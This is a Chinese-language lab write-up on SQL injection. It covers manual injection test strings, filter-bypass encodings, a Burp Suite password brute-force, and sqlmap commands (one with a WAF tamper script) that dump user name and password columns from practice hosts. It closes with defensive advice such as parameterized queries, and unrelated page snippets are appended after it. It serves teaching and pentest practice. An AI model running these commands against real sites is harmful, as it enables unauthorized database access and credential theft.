    的ASP动态网页中,有时一个动态网页中可能只有一个参数,有时可能有N个参数,有时是整型参数,有时是字符串型参数,不能一概而论。总之只要是带有参数的动态网页且此网页访问了数据库,那么就有可能存在SQL注入。如果ASP程序员没有安全意识,不进行必要的字符过滤,存在SQL注入的可能性就非常大。

    为了全面了解动态网页回答的信息,首选请调整IE的配置。把IE菜单-工具-Internet选项-高级-显示友好HTTP错误信息前面的勾去掉。

    为了把问题说明清楚,以下以HTTP://xxx.xxx.xxx/abc.asp?p=YY为例进行分析,YY可能是整型,也有可能是字符串。

    ⒈整型参数的判断

    当输入的参数YY为整型时,通常abc.asp中SQL语句原貌大致如下:

    select * from 表名 where 字段=YY,所以可以用以下步骤测试SQL注入是否存在。

    ①HTTP://xxx.xxx.xxx/abc.asp?p=YY’(附加一单引号),此时abc.ASP中SQL语句变成了

    select * from 表名 where 字段=YY’,abc.asp运行异常;

    webSQL注入攻击分析统计

    ②HTTP://xxx.xxx.xxx/abc.asp?p=YY and 1=1,abc.asp运行正常,而且与HTTP://xxx.xxx.xxx/abc.asp?p=YY运行结果相同;

    ③HTTP://xxx.xxx.xxx/abc.asp?p=YY and 1=2,abc.asp运行异常;

    ⒉字符串型参数的判断

    当输入的参数YY为字符串时,通常abc.asp中SQL语句原貌大致如下:

    select * from 表名 where 字段='YY',所以可以用以下步骤测试SQL注入是否存在。

    ①HTTP://xxx.xxx.xxx/abc.asp?p=YY’(附加一个单引号),此时abc.ASP中的SQL语句变成了

    select * from 表名 where 字段=YY’,abc.asp运行异常;

    ②HTTP://xxx.xxx.xxx/abc.asp?p=YY&nb ... 39;1'='1',abc.asp运行正常,而且与HTTP://xxx.xxx.xxx/abc.asp?p=YY运行结果相同;

    ③HTTP://xxx.xxx.xxx/abc.asp?p=YY&nb ... 39;1'='2',abc.asp运行异常;

    如果以上三步全面满足,abc.asp中一定存在SQL注入漏洞。

    ⒊特殊情况的处理

    有时ASP程序员会在程序员过滤掉单引号等字符,以防止SQL注入。此时可以用以下几种方法试一试。

    ①大小定混合法:由于VBS并不区分大小写,而程序员在过滤时通常要么全部过滤大写字符串,要么全部过滤小写字符串,而大小写混合往往会被忽视。如用SelecT代替select,SELECT等;

    ②UNICODE法:在ⅡS中,以UNICODE字符集实现国际化,我们完全可以IE中输入的字符串化成UNICODE字符串进行输入。如+ =%2B,空格=%20 等;URLEncode信息参见附件一;

    ③ASCⅡ码法:可以把输入的部分或全部字符全部用ASCⅡ码代替,如U=chr(85),a=chr(97)等.

     

    【信息收集】

    • 测试对象

     

     

    网站名称

    域名

    IP地址

    1.

    http://10.10.10.129/dvwa/login.php

    10.10.10.129

    10.10.10.129

    2.

    http://10.10.10.132/sqli/example1.php?name=root

    10.10.10.132

    10.10.10.132

    3.

    http://10.10.10.132/sqli/example1.php?name=root

    10.10.10.132

    10.10.10.132

    4.

    http://10.10.10.132/sqli/example1.php?name=root

    10.10.10.132

    10.10.10.132

     

    二、测试工具

     

    工具名称

    描述

    1.  

    Kali linux

    Kali Linux是基于DebianLinux发行版, 设计用于数字取证操作系统。由Offensive Security Ltd维护和资助。最先由Offensive SecurityMati AharoniDevon Kearns通过重写BackTrack来完成,BackTrack是他们之前写的用于取证的Linux发行版

    Kali Linux预装了许多渗透测试软件,包括nmap Wireshark John the Ripper,以及Aircrack-ng.[2] 用户可通过硬盘、live CDlive USB运行Kali LinuxKali Linux既有32位和64位的镜像。可用于x86 指令集。同时还有基于ARM架构的镜像,可用于树莓派和三星的ARM Chromeboo

    1.  

    burpsuit

    Burp Suite 是用于攻击web 应用程序的集成平台,包含了许多工具。Burp Suite为这些工具设计了许多接口,以加快攻击应用程序的过程。所有工具都共享一个请求,并能处理对应的HTTP 消息、持久性、认证、代理、日志、警报。

    1.  

    Sqlmap

    Sqlmap是开源的自动化SQL注入工具,由Python写成,具有如下特点:

    • 完全支持MySQLOraclePostgreSQLMicrosoft SQL ServerMicrosoft AccessIBM DB2SQLiteFirebirdSybaseSAP MaxDBHSQLDBInformix等多种数据库管理系统。
    • 完全支持布尔型盲注、时间型盲注、基于错误信息的注入、联合查询注入和堆查询注入。
    • 在数据库证书、IP地址、端口和数据库名等条件允许的情况下支持不通过SQL注入点而直接连接数据库。
    • 支持枚举用户、密码、哈希、权限、角色、数据库、数据表和列。
    • 支持自动识别密码哈希格式并通过字典破解密码哈希。
    • 支持完全地下载某个数据库中的某个表,也可以只下载某个表中的某几列,甚至只下载某一列中的部分数据,这完全取决于用户的选择。
    • 支持在数据库管理系统中搜索指定的数据库名、表名或列名
    • 当数据库管理系统是MySQLPostgreSQLMicrosoft SQL Server时支持下载或上传文件。
    • 当数据库管理系统是MySQLPostgreSQLMicrosoft SQL Server时支持执行任意命令并回现标准输出。

     

    1.  

    web_for_pentester

    web for pentester是国外安全研究者开发的的一款渗透测试平台,通过该平台你可以了解到常见的Web漏洞检测技术。

    XSS跨站脚本攻击

    SQL注入

    目录遍历

    命令注入

    代码注入

    XML攻击

    LDAP攻击

    文件上传

     

    1.  

     

     

    1.  

     

     

     

     

     

    【Web暴力破解实现过程】

    1. 生成字典

    使用小轩字典生成器生成密码字典,前三位abc,后三位为数字

     

    生成用户名和密码两个字典

     

    2使用burpsuite 对密码进行爆破

       首先对登录页面进行抓包

    抓包结果如下

     

     

    添加爆破点

     

    导入字典文件

     

     

     

    开始持续爆破

     

    3.得到密码

      后三位为:123

     

     

    【SQL注入实现过程】

    一 .example 1

    1. 打开sqlmap

    1. 查看存在的数据库

    指令: sqlmap -u "http://10.10.10.132/sqli/example1.php?name=root" --dbs

    结果如下:

     

    3.进入exerciss数据库,查看表项

    指令: sqlmap -u "http://10.10.10.132/sqli/example1.php?name=root" --dbs -D exercises --tables

    4.查看user表的字段名:

    指令: sqlmap -u "http://10.10.10.132/sqli/example1.php?name=root" --dbs -D exercises -T users –columns

     

    5.获取name以及passwd的数据内容:

    指令: sqlmap -u "http://10.10.10.132/sqli/example1.php?name=root" --dbs -D exercises -T users -C name,passwd –dump

     

     

    .example 2

    1.查找数据库

    指令: sqlmap -u "http://10.10.10.132/sqli/example2.php?name=root" --dbs --tamper=space2comment.py

    因为该数据库有防火墙来过滤空格,所以添加了绕过防火墙的脚本指令: --tamper=space2comment.py

    结果如下:

    2.进入exercises数据库,查看表项

    指令: sqlmap -u "http://10.10.10.132/sqli/example2.php?name=root" --dbs --tamper=space2comment.py -D exercises --tables

    查找到user表项

    1. 查找字段名

    指令: sqlmap -u "http://10.10.10.132/sqli/example2.php?name=root" --dbs --tamper=space2comment.py -D exercises -T users –columns

    结果如下:

     

    1. 查看name以及passwd的数据内容

    指令: sqlmap -u "http://10.10.10.132/sqli/example2.php?name=root" --dbs --tamper=space2comment.py -D exercises -T users -C name,passwd –dump

    结果如下:

     

     

    .example 3

    1.查看数据库

    指令: sqlmap -u "http://10.10.10.132/sqli/example3.php?name=root" --dbs --tamper=space2comment

    结果:

     

    1. 查看exercises数据库的表项

    指令: sqlmap -u "http://10.10.10.132/sqli/example3.php?name=root" --dbs --tamper=space2comment -D exercises –tables

     

      结果:

     

    3.查询users数据表项的字段名

        指令: sqlmap -u "http://10.10.10.132/sqli/example3.php?name=root" --dbs --tamper=space2comment -D exercises -T users --columns

     

    结果如下:

     

     

     

    4.查询namepasswd数据项内容

    指令: sqlmap -u "http://10.10.10.132/sqli/example3.php?name=root" --dbs --tamper=space2comment -D exercises -T users -C name,passwd –dump

    结果:

     

    本次sql注入实验结束

    【SQL注入漏洞防护措施】

    1)在构造动态SQL语句时,一定要使用类安全(type-safe)的参数加码机制大多数的数据API,包括ADO和ADO. NET,有这样的支持,允许指定所提供的参数的确切类型(譬如,字符串,整数,日期等),可以保证这些参数被恰当地escaped/encoded了,来避免黑客利用它们。一定要从始到终地使用这些特性。

    例如,在ADO. NET里对动态SQL,可以象下面这样重写上述的语句,使之安全:

    Dim SSN as String = Request.QueryString(“SSN”)

    Dim cmd As new SqlCommand(“SELECT au_lname,au_fname FROM authors WHERE au_id = @au_id”)

    Dim param = new SqlParameter(“au_id”,SqlDbType.VarChar)

    param.Value = SSN

    cmd.Parameters.Add(param)

    这将防止有人试图偷偷注入另外的SQL表达式(因为ADO. NET知道对au_id的字符串值进行加码),以及避免其他数据问题(譬如不正确地转换数值类型等)。注意,VS 2005内置的TableAdapter/DataSet设计器自动使用这个机制,ASP. NET 2.0数据源控件也是如此。

    一个常见的错误知觉(misperception)是,假如使用了存储过程或ORM,就完全不受SQL注入攻击之害了。这是不正确的,还是需要谨慎确定在给存储过程传递数据时,或在用ORM来定制一个查询时,你的做法是安全的。

    2)在部署应用前,始终要做安全审评(security review)。建立一个正式的安全过程(formal security process),在每次更新时,对所有的编码做审评。后面一点特别重要。曾经多次听说开发队伍在正式上线(going live)前会做很详细的安全审评,然后在几周或几个月之后他们做一些很小的更新时,他们会跳过安全审评这关,说,“就是一个小小的更新,我们以后再做编码审评好了”。请始终坚持做安全审评。

    3 千万别把敏感性数据在数据库里以明文存放。个人的意见是,密码应该总是在单向(one-way)hashed过后再存放,不喜欢将它们在加密后存放。在默认设置下,ASP. NET 2.0 Membership API 自动为你这么做,还同时实现了安全的SALT 随机化行为(SALT randomization behavior)。如果决定建立自己的成员数据库,建议查看一下我们在这里发表的我们自己的Membership provider的源码。同时也确定对你的数据库里的信用卡和其他的私有数据进行了加密。这样即使你的数据库被人入侵(compromised)了的话,起码你的客户的私有数据不会被人利用。

    4)确认编写了自动化的单元测试,来特别校验你的数据访问层和应用程序不受SQL注入攻击。这么做是非常重要的,有助于捕捉住(catch)“就是一个小小的更新,所有不会有安全问题”的情形带来的疏忽,来提供额外的安全层以避免偶然地引进坏的安全缺陷到你的应用里去。

    5)锁定你的数据库的安全,只给访问数据库的web应用功能所需的最低的权限。如果web应用不需要访问某些表,那么确认它没有访问这些表的权限。如果web应用只需要只读的权限从你的account payables表来生成报表,那么确认你禁止它对此表的 insert/update/delete 的权限。

    6)很多新手从网上下载SQL通用防注入系统的程序,在需要防范注入的页面头部用 来防止别人进行手动注入测试。

    可是如果通过SQL注入分析器就可轻松跳过防注入系统并自动分析其注入点。然后只需要几分钟,你的管理员账号及密码就会被分析出来。

    7)对于注入分析器的防范,笔者通过实验,发现了一种简单有效的防范方法。首先我们要知道SQL注入分析器是如何工作的。在操作过程中,发现软件并不是冲着“admin”管理员账号去的,而是冲着权限(如flag=1)去的。这样一来,无论你的管理员账号怎么变都无法逃过检测。

    第三步:既然无法逃过检测,那我们就做两个账号,一个是普通的管理员账号,一个是防止注入的账号,为什么这么说呢?笔者想,如果找一个权限最大的账号制造假象,吸引软件的检测,而这个账号里的内容是大于千字以上的中文字符,就会迫使软件对这个账号进行分析的时候进入全负荷状态甚至资源耗尽而死机。

    下面是修改数据库的操作

    ⒈对表结构进行修改。将管理员的账号字段的数据类型进行修改,文本型改成最大字段255(其实也够了,如果还想做得再大点,可以选择备注型),密码的字段也进行相同设置。

    ⒉对表进行修改。设置管理员权限的账号放在ID1,并输入大量中文字符(最好大于100个字)。

    ⒊把真正的管理员密码放在ID2后的任何一个位置(如放在ID549上)。

    由于SQL注入攻击针对的是应用开发过程中的编程不严密,因而对于绝大多数防火墙来说,这种攻击是“合法”的。问题的解决只有依赖于完善编程。专门针对SQL注入攻击的工具较少,Wpoison对于用asp,php进行的开发有一定帮助…。

     

     

    教程下载地址:https://download.csdn.net/download/qq_38162763/10594287

    end

    展开全文
  • JavaScript---Web Worker使用教程

    千次阅读 2017-09-08 16:33:33
    例如处理类似高斯函数处理图片这种处理信息比较庞大时有可能会造成页面阻塞, 因此这种时候就可以通过Worker创建一个线程在后台处理信息, 当处理完成时会把信息返回回来.兼容性Internet Explorer 10, Firefox, ...
  • 详细SpringBoot教程数据访问

    万次阅读 多人点赞 2020-02-27 19:24:32
    我这里打算写一个SpringBoot系列的相关博文,目标呢是想让看了这一系列博文的同学呢,能够对SpringBoot略窥门径,这一系列的博文初步都定下来包括SpringBoot介绍、入门、配置、日志相关、web开发、数据访问、结合...
  • 同样的,JavaWeb作为目前最流行的前端开发技术之一,越来越多的JavaWeb程序被开发出来,这时候就需要一款性能优越的数据库来处理程序中的大量数据。于是,JavaWeb程序和SQLServer这对搭档便应运而生了。本文我们就来...
  • SQL Server 2014 企业版安装教程

    千次阅读 2017-12-30 16:14:36
    安装教程 解压压缩文件,得到安装程序,运行安装程序(如下图) 2..点击左侧的"安装",选择"全新SQL Server 2014 安装..."(如下图) 3.然后会弹出这个界面:默认是直接有密钥的,不需要你手动输入,点击"下一步"(如下图...
  • CTF系列之Web——SQL注入

    千次阅读 多人点赞 2020-06-09 16:36:06
    前言 在刚学习sql注入的过程中非常艰难,查资料的时间有一周这么长,点开的网页也不下一千,认真读的也最少有两百,可是能引导入门的真的没几篇,都是复制来复制去的,没意思,感觉...学习web系列推荐先学习Mysql、H
  • ...HTML5 Web SQL Database 简介 通过 Mark Pilgrim 的 Dive Into HTML5,我们了解到 HTML5 的很多新特性。但 HTML5 标准并不只局限于传统的标记语言,它还拥有很多让人期待的 API 接口,利
  • SQL 基础教程 (第2版)

    千次阅读 2018-04-12 10:44:19
    本书是畅销书《SQL 基础教程》第2版,介绍了关系数据库以及用来操作关系数据库的 SQL 语言的使用方法。书中通过丰富的图示、大量示例程序和详实的操作步骤说明,让读者循序渐进地掌握 SQL 的基础知识和使用技巧,...
  • 浅谈PageHelper插件分页实现原理及大数据量SQL查询效率问题解决 2018年09月06日 17:25:19  岁月安然  阅读数:2058 前因:项目一直使用的是PageHelper实现分页功能,项目前期数据量较少一直没有什么问题。...
  • cookies缺点有在请求头上带着数据,大小是4k之内。主Domain污染。 主要应用:购物车、客户登录 对于IE浏览器有UserData,大小是64k,只有IE浏览器支持。   目标 解决4k的大小问题 解决请求头常带...
  • PL / SQL教程

    千次阅读 2018-10-15 11:32:06
    PL / SQL - 快速指南   PL / SQL - 概述 PL / SQL编程语言是由Oracle公司在20世纪80年代后期开发的,作为SQL和Oracle关系数据库的过程扩展语言。以下是关于PL / SQL的一些值得注意的事实 - PL / SQL是一种...
  • SQL数据分析-淘宝用户行为

    千次阅读 2020-02-29 17:01:32
    为了巩固这段时间SQL的学习成果,同时方便以后回忆和二次学习,我决定把自己做过的项目 淘宝用户行为分析 整理出来,和各位网友分享。如果有什么意见和建议,欢迎大家提出来进行讨论,让我们共同学习和进步。 一、...
  • SCPPO(五):解决MVC中Json传输数据量问题

    万次阅读 多人点赞 2016-06-26 21:55:49
    【引言】 之前自己对系统进行了熟悉,...功能不是很复杂就不再此赘述,不过在实现的时候遇到一个解决数据量的问题倒蛮有意思,在此与大家共享。 【内容】 基础:系统前台应用的是MVC3+Miniui! 问题再现: ...
  • 高效sql性能优化极简教程

    万次阅读 2017-12-05 14:57:56
    一,sql性能优化基础方法论 对于功能,我们可能知道必须改进什么;但对于性能问题,有时我们可能无从下手。其实,任何计算机应用系统最终队可以归结为: cpu消耗 内存使用 对磁盘,网络或其他I/...
  • ASP .NET Core 系列教程四:使用数据库进行交互 系列文章目录:系列教程:使用ASP.NET Core创建Razor Pages Web应用程序 - zhangpeterx的博客 未完待续
  • Wincc v7.5报表教程目录一、概述1.1 前言1.2 主要功能1.3 使用的软件二、Wincc链接SQL Server数据库2.1 前言功能快捷键合理的创建标题,有助于目录的生成如何改变文本的样式插入链接与图片如何插入一段漂亮的代码片...
  • ASP.NET 系列_01_Web Pages 教程

    千次阅读 2018-08-05 14:04:02
    github地址: https://github.com/ixixii/ASP.NET_01_WebPages_Razor ...ASP.NET 又称为ASP+,基于.NET Framework的Web开发平台,是微软公司推出的新一代脚本语言。 ASP.NET 是一个使用 HTML、CSS、JavaScri...
  • my sql 入门教程 5.6

    千次阅读 2017-03-08 17:08:56
    这一章提供 MySQL 教程介绍通过展示如何使用mysql客户端程序来创建和使用一个简单的数据库。 mysql (有时称为"终端监视器"或只是"监视器") 是一个交互式的程序,使您能够连接到 MySQL 服务器,运行查询,并...
  • 最详细SQL注入教程

    万次阅读 多人点赞 2017-10-24 11:31:07
    随着B/S模式应用开发的发展,使用这种模式编写应用...用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。  SQL注入是从正常的WWW端口访
  • 教程介绍如何创建使用 Entity Framework (EF) Core 进行数据访问的 ASP.NET Core Razor Pages Web 应用。 Razor 页面是 ASP.NET Core MVC 的一个新特性,它可以使基于页面的编码方式更简单高效。 Entity Framework...
  • 济南,始终是一座不温不火、慢慢腾腾的城市...本文完整演示了从济南市城乡水务局网站爬取历年来趵突泉、黑虎泉地下水位数据,并绘制出谁变化曲线。全部代码涉及到sqlite、optparse、Requests、datetime、lxml、re、nump
  • 前言 当MySQL单表记录数过大...单表优化这块方法不是太全可以翻阅我的其它相关博文-----《MySQL高性能优化规范(这应该是我见过写的最好的优化规范建议了)》和《解析SQL语句执行速度慢的原因(SQL性能优化)》 单表优化...
  • 随着web2.0的兴起,关系型数据库本身无法克服的缺陷越来越明显,主要表现为如下几点。 1、对数据高并发读写的需求 2、对海量数据的高效率存储和访问的需求。 3、对数据库的高可扩展性和高可用性的需求。 4、数据库...
  • 我最近看到一本比较好的讲java web方面面试的书,java web级开发面试教程。 其中不仅用案例和视频讲述了Spring MVC,Hibernate, ORM等方面的技巧,而且还实际讲到了面试技巧。   如下部分是对数据库面试方面...
  • 微软的SQL SERVER提供了两种索引:聚集索引(clustered index,也称聚类索引、簇集索引)和非聚集索引(nonclustered index,也称非聚类索引、非簇集索引)。下面,我们举例来说明一下聚集索引和非聚集索引的区别: ...
  • Spring Boot 自定义数据源 DruidDataSource Druid简介Druid功能配置参数表合理的创建标题,有助于目录的生成如何改变文本的样式插入链接与图片如何插入一段漂亮的代码片生成一个适合你的列表创建一个表格设定内容...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 29,492
精华内容 11,796
关键字:

websql教程数据量